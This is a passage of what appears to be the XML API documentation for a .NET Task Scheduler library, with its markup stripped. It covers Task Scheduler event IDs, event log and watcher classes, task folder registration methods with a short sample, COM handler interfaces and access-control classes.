saved the configuration for a task, but the credentials used to run the task could not be stored. + For detailed information, see the documentation for Event ID 116 on TechNet. + + + Task Scheduler launched an instance of a task due to an idle condition. + For detailed information, see the documentation for Event ID 117 on TechNet. + + + Task Scheduler launched an instance of a task due to system startup. + For detailed information, see the documentation for Event ID 118 on TechNet. + + + Task Scheduler launched an instance of a task due to a user logon. + For detailed information, see the documentation for Event ID 119 on TechNet. + + + Task Scheduler launched an instance of a task due to a user connecting to the console. + For detailed information, see the documentation for Event ID 120 on TechNet. + + + Task Scheduler launched an instance of a task due to a user disconnecting from the console. + For detailed information, see the documentation for Event ID 121 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely connecting. + For detailed information, see the documentation for Event ID 122 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely disconnecting. + For detailed information, see the documentation for Event ID 123 on TechNet. + + + Task Scheduler launched an instance of a task due to a user locking the computer. + For detailed information, see the documentation for Event ID 124 on TechNet. + + + Task Scheduler launched an instance of a task due to a user unlocking the computer. + For detailed information, see the documentation for Event ID 125 on TechNet. + + + Task Scheduler failed to execute a task. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 126 on TechNet. + + + Task Scheduler failed to execute a task due to a shutdown race condition. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 127 on TechNet. + + + Task Scheduler did not launch a task because the current time exceeds the configured task end time. + For detailed information, see the documentation for Event ID 128 on TechNet. + + + Task Scheduler launched an instance of a task in a new process. + For detailed information, see the documentation for Event ID 129 on TechNet. + + + The Task Scheduler service failed to start a task due to the service being busy. + For detailed information, see the documentation for Event ID 130 on TechNet. + + + Task Scheduler failed to start a task because the number of tasks in the task queue exceeds the quota currently configured. + For detailed information, see the documentation for Event ID 131 on TechNet. + + + The Task Scheduler task launching queue quota is approaching its preset limit of tasks currently configured. + For detailed information, see the documentation for Event ID 132 on TechNet. + + + Task Scheduler failed to start a task in the task engine for a user. + For detailed information, see the documentation for Event ID 133 on TechNet. + + + Task Engine for a user is approaching its preset limit of tasks. + For detailed information, see the documentation for Event ID 134 on TechNet. + + + Task Scheduler did not launch a task because launch condition not met, machine not idle. + For detailed information, see the documentation for Event ID 135 on TechNet. + + + A user updated Task Scheduler a task + For detailed information, see the documentation for Event ID 140 on TechNet. + + + A user deleted Task Scheduler a task + For detailed information, see the documentation for Event ID 141 on TechNet. + + + A user disabled Task Scheduler a task + For detailed information, see the documentation for Event ID 142 on TechNet. + + + Task Scheduler woke up the computer to run a task. + For detailed information, see the documentation for Event ID 145 on TechNet. + + + Task Scheduler failed to subscribe the event trigger for a task. + For detailed information, see the documentation for Event ID 150 on TechNet. + + + Task Scheduler launched an action in an instance of a task. + For detailed information, see the documentation for Event ID 200 on TechNet. + + + Task Scheduler successfully completed a task instance and action. + For detailed information, see the documentation for Event ID 201 on TechNet. + + + Task Scheduler failed to complete an instance of a task with an action. + For detailed information, see the documentation for Event ID 202 on TechNet. + + + Task Scheduler failed to launch an action in a task instance. + For detailed information, see the documentation for Event ID 203 on TechNet. + + + Task Scheduler failed to retrieve the event triggering values for a task . The event will be ignored. + For detailed information, see the documentation for Event ID 204 on TechNet. + + + Task Scheduler failed to match the pattern of events for a task. The events will be ignored. + For detailed information, see the documentation for Event ID 205 on TechNet. + + + Task Scheduler is shutting down the a task engine. + For detailed information, see the documentation for Event ID 301 on TechNet. + + + Task Scheduler is shutting down the a task engine due to an error. + For detailed information, see the documentation for Event ID 303 on TechNet. + + + Task Scheduler sent a task to a task engine. + For detailed information, see the documentation for Event ID 304 on TechNet. + + + Task Scheduler did not send a task to a task engine. + For detailed information, see the documentation for Event ID 305 on TechNet. + + + For a Task Scheduler task engine, the thread pool failed to process the message. + For detailed information, see the documentation for Event ID 306 on TechNet. + + + The Task Scheduler service failed to connect to a task engine process. + For detailed information, see the documentation for Event ID 307 on TechNet. + + + Task Scheduler connected to a task engine process. + For detailed information, see the documentation for Event ID 308 on TechNet. + + + There are Task Scheduler tasks orphaned during a task engine shutdown. + For detailed information, see the documentation for Event ID 309 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 310 on TechNet. + + + Task Scheduler failed to start a task engine process due to an error. + For detailed information, see the documentation for Event ID 311 on TechNet. + + + Task Scheduler created the Win32 job object for a task engine. + For detailed information, see the documentation for Event ID 312 on TechNet. + + + The Task Scheduler channel is ready to send and receive messages. + For detailed information, see the documentation for Event ID 313 on TechNet. + + + Task Scheduler has no tasks running for a task engine, and the idle timer has started. + For detailed information, see the documentation for Event ID 314 on TechNet. + + + A task engine process failed to connect to the Task Scheduler service. + For detailed information, see the documentation for Event ID 315 on TechNet. + + + A task engine failed to send a message to the Task Scheduler service. + For detailed information, see the documentation for Event ID 316 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 317 on TechNet. + + + Task Scheduler shut down a task engine process. + For detailed information, see the documentation for Event ID 318 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to launch a task. + For detailed information, see the documentation for Event ID 319 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to stop a task instance. + For detailed information, see the documentation for Event ID 320 on TechNet. + + + Task Scheduler did not launch a task because an instance of the same task is already running. + For detailed information, see the documentation for Event ID 322 on TechNet. + + + Task Scheduler stopped an instance of a task in order to launch a new instance. + For detailed information, see the documentation for Event ID 323 on TechNet. + + + Task Scheduler queued an instance of a task and will launch it as soon as another instance completes. + For detailed information, see the documentation for Event ID 324 on TechNet. + + + Task Scheduler queued an instance of a task that will launch immediately. + For detailed information, see the documentation for Event ID 325 on TechNet. + + + Task Scheduler did not launch a task because the computer is running on batteries. If launching the task on batteries is required, change the respective flag in the task configuration. + For detailed information, see the documentation for Event ID 326 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is switching to battery power. + For detailed information, see the documentation for Event ID 327 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is no longer idle. + For detailed information, see the documentation for Event ID 328 on TechNet. + + + Task Scheduler stopped an instance of a task because the task timed out. + For detailed information, see the documentation for Event ID 329 on TechNet. + + + Task Scheduler stopped an instance of a task as request by a user . + For detailed information, see the documentation for Event ID 330 on TechNet. + + + Task Scheduler will continue to execute an instance of a task even after the designated timeout, due to a failure to create the timeout mechanism. + For detailed information, see the documentation for Event ID 331 on TechNet. + + + Task Scheduler did not launch a task because a user was not logged on when the launching conditions were met. Ensure the user is logged on or change the task definition to allow the task to launch when the user is logged off. + For detailed information, see the documentation for Event ID 332 on TechNet. + + + The Task Scheduler service has started. + For detailed information, see the documentation for Event ID 400 on TechNet. + + + The Task Scheduler service failed to start due to an error. + For detailed information, see the documentation for Event ID 401 on TechNet. + + + Task Scheduler service is shutting down. + For detailed information, see the documentation for Event ID 402 on TechNet. + + + The Task Scheduler service has encountered an error. + For detailed information, see the documentation for Event ID 403 on TechNet. + + + The Task Scheduler service has encountered an RPC initialization error. + For detailed information, see the documentation for Event ID 404 on TechNet. + + + The Task Scheduler service has failed to initialize COM. + For detailed information, see the documentation for Event ID 405 on TechNet. + + + The Task Scheduler service failed to initialize the credentials store. + For detailed information, see the documentation for Event ID 406 on TechNet. + + + Task Scheduler service failed to initialize LSA. + For detailed information, see the documentation for Event ID 407 on TechNet. + + + Task Scheduler service failed to initialize idle state detection module. Idle tasks may not be started as required. + For detailed information, see the documentation for Event ID 408 on TechNet. + + + The Task Scheduler service failed to initialize a time change notification. System time updates may not be picked by the service and task schedules may not be updated. + For detailed information, see the documentation for Event ID 409 on TechNet. + + + Task Scheduler service received a time system change notification. + For detailed information, see the documentation for Event ID 411 on TechNet. + + + Task Scheduler service failed to launch tasks triggered by computer startup. Restart the Task Scheduler service. + For detailed information, see the documentation for Event ID 412 on TechNet. + + + Task Scheduler service started Task Compatibility module. + For detailed information, see the documentation for Event ID 700 on TechNet. + + + Task Scheduler service failed to start Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 701 on TechNet. + + + Task Scheduler failed to initialize the RPC server for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 702 on TechNet. + + + Task Scheduler failed to initialize Net Schedule API for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 703 on TechNet. + + + Task Scheduler failed to initialize LSA for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 704 on TechNet. + + + Task Scheduler failed to start directory monitoring for the Task Compatibility module. + For detailed information, see the documentation for Event ID 705 on TechNet. + + + Task Compatibility module failed to update a task to the required status. + For detailed information, see the documentation for Event ID 706 on TechNet. + + + Task Compatibility module failed to delete a task. + For detailed information, see the documentation for Event ID 707 on TechNet. + + + Task Compatibility module failed to set a security descriptor for a task. + For detailed information, see the documentation for Event ID 708 on TechNet. + + + Task Compatibility module failed to update a task. + For detailed information, see the documentation for Event ID 709 on TechNet. + + + Task Compatibility module failed to upgrade existing tasks. Upgrade will be attempted again next time 'Task Scheduler' service starts. + For detailed information, see the documentation for Event ID 710 on TechNet. + + + Task Compatibility module failed to upgrade NetSchedule account. + For detailed information, see the documentation for Event ID 711 on TechNet. + + + Task Compatibility module failed to read existing store to upgrade tasks. + For detailed information, see the documentation for Event ID 712 on TechNet. + + + Task Compatibility module failed to load a task for upgrade. + For detailed information, see the documentation for Event ID 713 on TechNet. + + + Task Compatibility module failed to register a task for upgrade. + For detailed information, see the documentation for Event ID 714 on TechNet. + + + Task Compatibility module failed to delete LSA store for upgrade. + For detailed information, see the documentation for Event ID 715 on TechNet. + + + Task Compatibility module failed to upgrade existing scheduled tasks. + For detailed information, see the documentation for Event ID 716 on TechNet. + + + Task Compatibility module failed to determine if upgrade is needed. + For detailed information, see the documentation for Event ID 717 on TechNet. + + + Task scheduler was unable to upgrade the credential store from the Beta 2 version. You may need to re-register any tasks that require passwords. + For detailed information, see the documentation for Event ID 718 on TechNet. + + + A unknown value. + + + + Historical event information for a task. This class wraps and extends the class. + + + For events on systems prior to Windows Vista, this class will only have information for the TaskPath, TimeCreated and EventId properties. + + + + + Gets the activity id. This value is null for V1 events. + + + + + An indexer that gets the value of each of the data item values. This value is null for V1 events. + + + The data values. + + + + + Gets the event id. + + + + + Gets the underlying . This value is null for V1 events. + + + + + Gets the from the . + + + The . If not found, returns . + + + + + Gets the level. This value is null for V1 events. + + + + + Gets the op code. This value is null for V1 events. + + + + + Gets the process id. This value is null for V1 events. + + + + + Gets the record id. This value is null for V1 events. + + + + + Gets the task category. This value is null for V1 events. + + + + + Gets the task path. + + + + + Gets the time created. + + + + + Gets the user id. This value is null for V1 events. + + + + + Gets the version. This value is null for V1 events. + + + + + Gets the data value from the task specific event data item list. + + The name of the data element. + Contents of the requested data element if found. null if no value found. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the other parameter.Zero This object is equal to other. Greater than zero This object is greater than other. + + + + + Get indexer class for data values. + + + + + Gets the value of the specified property name. + + + The value. + + Name of the property. + Value of the specified property name. null if property does not exist. + + + + An enumerator over a task's history of events. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + + + Advances the enumerator to the next element of the collection. + + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + + The collection was modified after the enumerator was created. + + + + + Sets the enumerator to its initial position, which is before the first element in the collection. + + + The collection was modified after the enumerator was created. + + + + + Seeks the specified bookmark. + + The bookmark. + The offset. + + + + Seeks the specified origin. + + The origin. + The offset. + + + + Historical event log for a task. Only available for Windows Vista and Windows Server 2008 and later systems. + + Many applications have the need to audit the execution of the tasks they supply. To enable this, the library provides the TaskEventLog class that allows for TaskEvent instances to be enumerated. This can be done for single tasks or the entire system. It can also be filtered by specific events or criticality. + + + + + Initializes a new instance of the class. + + The task path. This can be retrieved using the property. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class. + + Name of the machine. + The task path. This can be retrieved using the property. + The domain. + The user. + The password. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class that looks at all task events from a specified time. + + The start time. + Name of the task. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The levels. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Gets the total number of events for this task. + + + + + Gets or sets a value indicating whether this is enabled. + + + true if enabled; otherwise, false. + + + + + Gets or sets a value indicating whether to enumerate in reverse when calling the default enumerator (typically with foreach statement). + + + true if enumerates in reverse (newest to oldest) by default; otherwise, false to enumerate oldest to newest. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through the collection. + + if set to true reverse. + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through a collection. + + + An object that can be used to iterate through the collection. + + + + + Information about the task event. + + + + + If possible, gets the task associated with this event. + + + The task or null if unable to retrieve. + + + + + Gets the . + + + The TaskEvent. + + + + + Gets the task name. + + + The task name. + + + + + Gets the task path. + + + The task path. + + + + + Watches system events related to tasks and issues a event when the filtered conditions are met. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + Sometimes, a developer will need to know about events as they occur. In this case, they can use the TaskEventWatcher component that enables the developer to watch a task, a folder, or the entire system for filtered events. + + Below is information on how to watch a folder for all task events. For a complete example, look at this sample project: TestTaskWatcher.zip + + + + + Initializes a new instance of the class. If other + properties are not set, this will watch for all events for all tasks on the local machine. + + + + + Initializes a new instance of the class watching only + those events for the task with the provided path on the local machine. + + The full path (folders and name) of the task to watch. + The task service. + $Invalid task name: {taskPath} + + + + Initializes a new instance of the class watching only + those events for the specified task. + + The task to watch. + Occurs if the is null. + + + + Initializes a new instance of the class watching only those events for + the tasks whose name matches the in the specified + and optionally all subfolders. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + Occurs if the is null. + + + + Initializes a new instance of the class. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The task service. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user as a secure string. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Occurs when a task or the task engine records an event. + + + + + Gets or sets a value indicating whether the component is enabled. + + + true if enabled; otherwise, false. + + + + + Gets the filter for this . + + + The filter. + + + + + Gets or sets the folder to watch. + + + The folder path to watch. This value should include the leading "\" to indicate the root folder. + + Thrown if the folder specified does not exist or contains invalid characters. + + + + Gets or sets a value indicating whether to include events from subfolders when the + property is set. If the property is set, + this property is ignored. + + true if include events from subfolders; otherwise, false. + + + + Gets or sets the synchronizing object. + + + The synchronizing object. + + + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + + + Gets or sets the instance associated with this event watcher. Setting this value + will override any values set for , , + , and and set them to those values in the supplied + instance. + + The TaskService. + + + + Gets or sets the user account domain to be used when connecting to the . + + The user account domain. + + + + Gets or sets the user name to be used when connecting to the . + + The user name. + + + + Gets or sets the user password to be used when connecting to the . + + The user password. + + + + Gets a value indicating if watching is available. + + + + + Signals the object that initialization is starting. + + + + + Signals the object that initialization is complete. + + + + + Releases the unmanaged resources used by the FileSystemWatcher and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Fires the event. + + The sender. + The instance containing the event data. + + + + Holds filter information for a . + + + + + Gets or sets an optional array of event identifiers to use when filtering those events that will fire a event. + + + The array of event identifier filters. All know task event identifiers are declared in the enumeration. + + + + + Gets or sets an optional array of event levels to use when filtering those events that will fire a event. + + + The array of event levels. While event providers can define custom levels, most will use integers defined in the System.Diagnostics.Eventing.Reader.StandardEventLevel enumeration. + + + + + Gets or sets the task name, which can utilize wildcards, to look for when watching a folder. + + A task name or wildcard. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Provides the methods that are used to register (create) tasks in the folder, remove tasks from the folder, and create or remove subfolders from the folder. + + + + + Releases all resources used by this class. + + + + + Gets a which enumerates all the tasks in this and all subfolders. + + + A for all instances. + + + + + Gets the name that is used to identify the folder that contains a task. + + + + + Gets the parent folder of this folder. + + + The parent folder, or null if this folder is the root folder. + + + + + Gets the path to where the folder is stored. + + + + + Gets or sets the security descriptor of the task. + + The security descriptor. + + + + Gets all the subfolders in the folder. + + + + + Gets a collection of all the tasks in the folder. + + + + + Gets or sets the that manages this task. + + The task service. + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A value that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the parameter.Zero This object is equal to . Greater than zero This object is greater than . + + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The task security associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + Set this value to false to avoid having an exception called if the folder already exists. + A instance that represents the new subfolder. + Security descriptor mismatch between specified credentials and credentials on existing folder by same name. + Invalid SDDL form. + Not supported under Task Scheduler 1.0. + + + + Deletes a subfolder from the parent folder. Not available to Task Scheduler 1.0. + + The name of the subfolder to be removed. The root task folder is specified with a backslash (\). This parameter can be a relative path to the folder you want to delete. An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + Set this value to false to avoid having an exception called if the folder does not exist. + Not supported under Task Scheduler 1.0. + + + Deletes a task from the folder. + + The name of the task that is specified when the task was registered. The '.' character cannot be used to specify the current task folder and the '..' + characters cannot be used to specify the parent task folder in the path. + + Set this value to false to avoid having an exception called if the task does not exist. + + + Returns an enumerable collection of folders that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include all subfolders. + + An enumerable collection of folders that matches . + If a filter is supplied and filters out a folder, none of its subfolders will be processed, regardless of them + matching the filter. + + + + Returns an enumerable collection of tasks that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include tasks in any subfolders. + An enumerable collection of directories that matches and . + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current folder. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task folder described by + the current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current folder. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the folder. + + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + Section(s) of the security descriptor to return. + The security descriptor for the folder. + Not supported under Task Scheduler 1.0. + + + + Gets a collection of all the tasks in the folder whose name matches the optional . + + The optional name filter expression. + Collection of all matching tasks. + + + Imports a from an XML file. + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The file containing the XML-formatted definition of the task. + If set to , overwrites any existing task with the same name. + A instance that represents the new task. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + + Registers (creates) a new task in the folder using XML to define the task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + An XML-formatted definition of the task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + A instance that represents the new task. + " + + "" + + " " + + " " + + " S-1-5-18" + + " " + + " " + + " " + + " " + + " 2017-09-04T14:04:03" + + " " + + " " + + " " + + " " + + " " + + " cmd" + + " " + + " " + + ""; + // Register the task in the root folder of the local machine using the SYSTEM account defined in XML + TaskService.Instance.RootFolder.RegisterTaskDefinition("Test", xml); + ]]> + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A instance that represents the new task. + + + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + + A instance that represents the new task. This will return null if is set to ValidateOnly and there are no validation errors. + + + Task names may not include any characters which are invalid for file names. + or + Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library. + + This LogonType is not supported on Task Scheduler 1.0. + or + Security settings are not available on Task Scheduler 1.0. + or + Registration triggers are not available on Task Scheduler 1.0. + or + XML validation not available on Task Scheduler 1.0. + This method is effectively the "Save" method for tasks. It takes a modified TaskDefinition instance and registers it in the folder defined by this TaskFolder instance. Optionally, you can use this method to override the user, password and logon type defined in the definition and supply security against the task. + + This first example registers a simple task with a single trigger and action using the default security. + + This example registers that same task using the SYSTEM account. + + This example registers that same task using a specific username and password along with a security definition. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current folder. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Section(s) of the security descriptor to set. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + Enumerates the tasks in the specified folder and its child folders. + The folder in which to start enumeration. + An optional filter to apply to the task list. + true if subfolders are to be queried recursively. + A that can be used to iterate through the tasks. + + + Finds the task in folder. + The folder. + The filter to use when looking for tasks. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + Provides information and control for a collection of folders that contain tasks. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of items in the collection. + + + Gets a value indicating whether the is read-only. + + + Gets the specified folder from the collection. + The index of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Gets the specified folder from the collection. + The path of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Adds an item to the . + The object to add to the . + + This action is technically unfeasible due to limitations of the underlying library. Use the instead. + + + + Removes all items from the . + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Copies the elements of the ICollection to an Array, starting at a particular Array index. + + The one-dimensional Array that is the destination of the elements copied from . The Array must have + zero-based indexing. + + The zero-based index in array at which copying begins. + + + Releases all resources used by this class. + + + Determines whether the specified folder exists. + The path of the folder. + true if folder exists; otherwise, false. + + + Gets a list of items in a collection. + Enumerated list of items in the collection. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Defines the methods that are called by the Task Scheduler service to manage a COM handler. + + + This interface must be implemented for a task to perform a COM handler action. When the Task Scheduler performs a COM handler action, it creates and activates the handler and calls the methods of this interface as needed. For information on specifying a COM handler action, see the class. + + + + + Called to start the COM handler. This method must be implemented by the handler. + + An IUnkown interface that is used to communicate back with the Task Scheduler. + The arguments that are required by the handler. These arguments are defined in the property of the COM handler action. + + + + Called to stop the COM handler. This method must be implemented by the handler. + + The return code that the Task Schedule will raise as an event when the COM handler action is completed. + + + + Called to pause the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to pause and restart the handler. + + + + + Called to resume the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to resume the handler. + + + + + Provides the methods that are used by COM handlers to notify the Task Scheduler about the status of the handler. + + + + + Tells the Task Scheduler about the percentage of completion of the COM handler. + + A value that indicates the percentage of completion for the COM handler. + The message that is displayed in the Task Scheduler UI. + + + + Tells the Task Scheduler that the COM handler is completed. + + The error code that the Task Scheduler will raise as an event. + + + + Specifies the access control rights that can be applied to Task Scheduler tasks. + + + + Specifies the right to exert full control over a task folder or task, and to modify access control and audit rules. This value represents the right to do anything with a task and is the combination of all rights in this enumeration. + + + Specifies the right to create tasks and folders, and to add or remove data from tasks. This right includes the following rights: . + + + Specifies the right to open and copy folders or tasks as read-only. This right includes the following rights: . + + + Specifies the right run tasks. This right includes the following rights: . + + + The right to wait on a task. + + + The right to change the owner of a task. + + + Specifies the right to change the security and audit rules associated with a task or folder. + + + The right to open and copy the access rules and audit rules for a task. + + + The right to delete a folder or task. + + + Specifies the right to open and write file system attributes to a folder or file. This does not include the ability to write data, extended attributes, or access and audit rules. + + + Specifies the right to open and copy file system attributes from a folder or task. For example, this value specifies the right to view the file creation or modified date. This does not include the right to read data, extended file system attributes, or access and audit rules. + + + Specifies the right to delete a folder and any tasks contained within that folder. + + + Specifies the right to run a task. + + + Specifies the right to open and write extended file system attributes to a folder or file. This does not include the ability to write data, attributes, or access and audit rules. + + + Specifies the right to open and copy extended system attributes from a folder or task. For example, this value specifies the right to view author and content information. This does not include the right to read data, system attributes, or access and audit rules. + + + Specifies the right to append data to the end of a file. + + + Specifies the right to open and write to a file or folder. This does not include the right to open and write file system attributes, extended file system attributes, or access and audit rules. + + + Specifies the right to open and copy a task or folder. This does not include the right to read file system attributes, extended file system attributes, or access and audit rules. + + + + Represents a set of access rights allowed or denied for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Initializes a new instance of the class, specifying the name of the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The name of the user or group the rule applies to. + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Gets the rights allowed or denied by the access rule. + + + A bitwise combination of values indicating the rights allowed or denied by the access rule. + + + + + Represents a set of access rights to be audited for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group to audit, the rights to audit, and whether to audit success, failure, or both. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the kinds of access to audit. + The audit flags. + + + + Gets the access rights affected by the audit rule. + + + A bitwise combination of values that indicates the rights affected by the audit rule. + + objects are immutable. You can create a new audit rule representing a different user, different rights, or a different combination of AuditFlags values, but you cannot modify an existing audit rule. + + + + Represents the Windows access control security for a Task Scheduler task. This class cannot be inherited. + + + A TaskSecurity object specifies access rights for a Task Scheduler task, and also specifies how access attempts are audited. Access rights to the task are expressed as rules, with each access rule represented by a object. Each auditing rule is represented by a object. + This mirrors the underlying Windows security system, in which each securable object has at most one discretionary access control list (DACL) that controls access to the secured object, and at most one system access control list (SACL) that specifies which access attempts are audited. The DACL and SACL are ordered lists of access control entries (ACE) that specify access and auditing for users and groups. A or object might represent more than one ACE. + Note + A object can represent a local task or a Task Scheduler task. Windows access control security is meaningful only for Task Scheduler tasks. + The TaskSecurity, , and classes hide the implementation details of ACLs and ACEs. They allow you to ignore the seventeen different ACE types and the complexity of correctly maintaining inheritance and propagation of access rights. These objects are also designed to prevent the following common access control errors: + + Creating a security descriptor with a null DACL. A null reference to a DACL allows any user to add access rules to an object, 